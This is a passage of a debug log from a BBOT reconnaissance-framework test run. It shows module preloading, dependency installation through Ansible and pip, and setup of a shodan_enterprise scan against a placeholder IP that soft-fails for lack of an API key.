cache -2026-02-27 18:45:28,840 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 18:45:28,842 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 18:45:28,842 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 18:45:28,843 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 18:45:28,844 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 18:45:28,844 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 18:45:28,845 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:45:28,845 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 18:45:28,846 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 18:45:28,847 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 18:45:28,847 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 18:45:28,848 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 18:45:28,849 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 18:45:28,849 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 18:45:28,851 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 18:45:28,852 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 18:45:28,855 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 18:45:28,855 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 18:45:28,856 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 18:45:28,857 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 18:45:28,858 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 18:45:28,859 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 18:45:28,860 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 18:45:28,861 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 18:45:28,861 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 18:45:28,861 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 18:45:28,862 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 18:45:28,862 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 18:45:28,863 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 18:45:28,864 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 18:45:28,865 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 18:45:28,865 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 18:45:28,866 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:45:28,866 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 18:45:28,868 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:45:28,869 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:45:28,869 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 18:45:28,870 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 18:45:28,870 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 18:45:28,871 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 18:45:28,872 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 18:45:28,872 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 18:45:28,873 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 18:45:28,873 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 18:45:28,874 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 18:45:28,875 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 18:45:28,875 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 18:45:28,879 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 18:45:28,880 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 18:45:28,881 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 18:45:28,882 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 18:45:28,883 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 18:45:28,883 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 18:45:28,884 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 18:45:28,885 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 18:45:28,885 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 18:45:28,886 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 18:45:28,887 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 18:45:28,888 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 18:45:28,888 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 18:45:28,889 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 18:45:28,890 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 18:45:28,890 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 18:45:28,891 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 18:45:28,892 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 18:45:28,892 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 18:45:28,893 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 18:45:28,894 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 18:45:28,894 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 18:45:28,895 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 18:45:28,896 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 18:45:28,896 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 18:45:28,897 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 18:45:28,902 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 18:45:28,903 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 18:45:28,905 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 18:45:28,905 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 18:45:28,906 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 18:45:28,907 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 18:45:28,908 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 18:45:28,909 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 18:45:28,909 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 18:45:28,910 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 18:45:28,911 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 18:45:28,911 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 18:45:28,912 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 18:45:28,913 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 18:45:28,913 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 18:45:28,914 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 18:45:28,915 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 18:45:28,915 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 18:45:28,916 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 18:45:28,916 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 18:45:28,917 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 18:45:28,917 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 18:45:28,918 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 18:45:28,918 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 18:45:28,919 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 18:45:28,919 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 18:45:28,920 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 18:45:28,921 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 18:45:28,922 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 18:45:28,923 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 18:45:28,923 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 18:45:28,924 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 18:45:28,924 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 18:45:28,925 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 18:45:28,926 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 18:45:28,926 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 18:45:28,927 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 18:45:28,927 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 18:45:28,928 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 18:45:28,929 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 18:45:28,930 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 18:45:28,930 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 18:45:28,931 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 18:45:28,931 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 18:45:28,932 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 18:45:28,932 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 18:45:28,933 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 18:45:28,934 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 18:45:28,934 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 18:45:28,935 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 18:45:28,935 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 18:45:28,936 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 18:45:28,936 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 18:45:28,938 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 18:45:28,938 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 18:45:28,939 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 18:45:28,939 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 18:45:28,940 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 18:45:28,940 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 18:45:28,941 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 18:45:28,942 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 18:45:28,942 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 18:45:28,943 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 18:45:28,944 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 18:45:28,945 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 18:45:28,945 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 18:45:28,946 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 18:45:28,946 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 18:45:28,947 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 18:45:28,947 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 18:45:28,948 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 18:45:28,949 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 18:45:28,949 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 18:45:28,950 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 18:45:28,950 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 18:45:28,951 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 18:45:28,952 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 18:45:28,952 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 18:45:30,049 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:45:30,049 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:45:30,050 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 18:45:30,186 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 18:45:30,792 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 18:45:30,793 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 18:45:30,793 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 18:45:30,794 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 18:45:31,008 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 18:45:31,009 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 18:45:31,119 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 18:45:31,119 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 18:45:31,173 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 18:45:31,176 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 18:45:31,176 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 18:45:31,664 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 18:45:31,665 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 18:45:39,352 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 18:45:39,353 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 18:45:39,353 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 18:45:41,192 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 18:45:41,193 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 18:45:41,198 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:45:41,199 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 18:45:41,199 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:45:41,199 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 18:45:41,200 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 18:45:41,200 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 18:45:41,205 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/hwwjrosq472k517nb2ir -2026-02-27 18:45:42,075 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 18:45:42,076 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 18:45:42,076 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:45:42,077 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 18:45:42,077 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:45:42,077 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 18:45:42,079 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 18:45:42,202 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 18:45:42,202 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 18:45:42,203 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 18:45:42,205 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 18:45:42,205 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 18:45:42,205 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 18:45:42,205 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 18:45:42,206 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 18:45:42,206 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 18:45:42,207 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 18:45:42,208 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 18:45:42,208 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 18:45:42,209 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 18:45:42,209 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 18:45:42,209 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 18:45:42,209 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 18:45:42,209 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 18:45:42,210 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 18:45:42,210 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 18:45:42,210 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 18:45:42,210 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 18:45:42,211 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 18:45:42,211 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 18:45:42,211 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 18:45:42,211 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 18:45:42,211 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 18:45:42,212 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 18:45:42,212 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 18:45:42,212 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 18:45:42,212 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 18:45:42,212 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 18:45:42,213 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 18:45:42,213 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 18:45:42,213 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 18:45:42,213 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 18:45:42,213 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 18:45:42,214 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified -2026-02-27 18:45:42,214 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 18:45:42,214 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 18:45:42,214 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 18:45:42,214 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 18:45:42,215 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 18:45:42,215 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. -2026-02-27 18:45:42,215 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 18:45:42,215 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 18:45:42,359 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_7klk2r0yti -2026-02-27 18:45:42,360 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 18:45:42,472 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started -2026-02-27 18:45:42,473 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 18:45:42,473 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 18:45:42,474 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 18:45:42,575 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check -2026-02-27 18:45:42,576 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 18:45:42,577 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 18:45:42,578 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:45:42,579 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:45:42,580 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:45:42,581 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 18:45:42,581 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:45:42,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 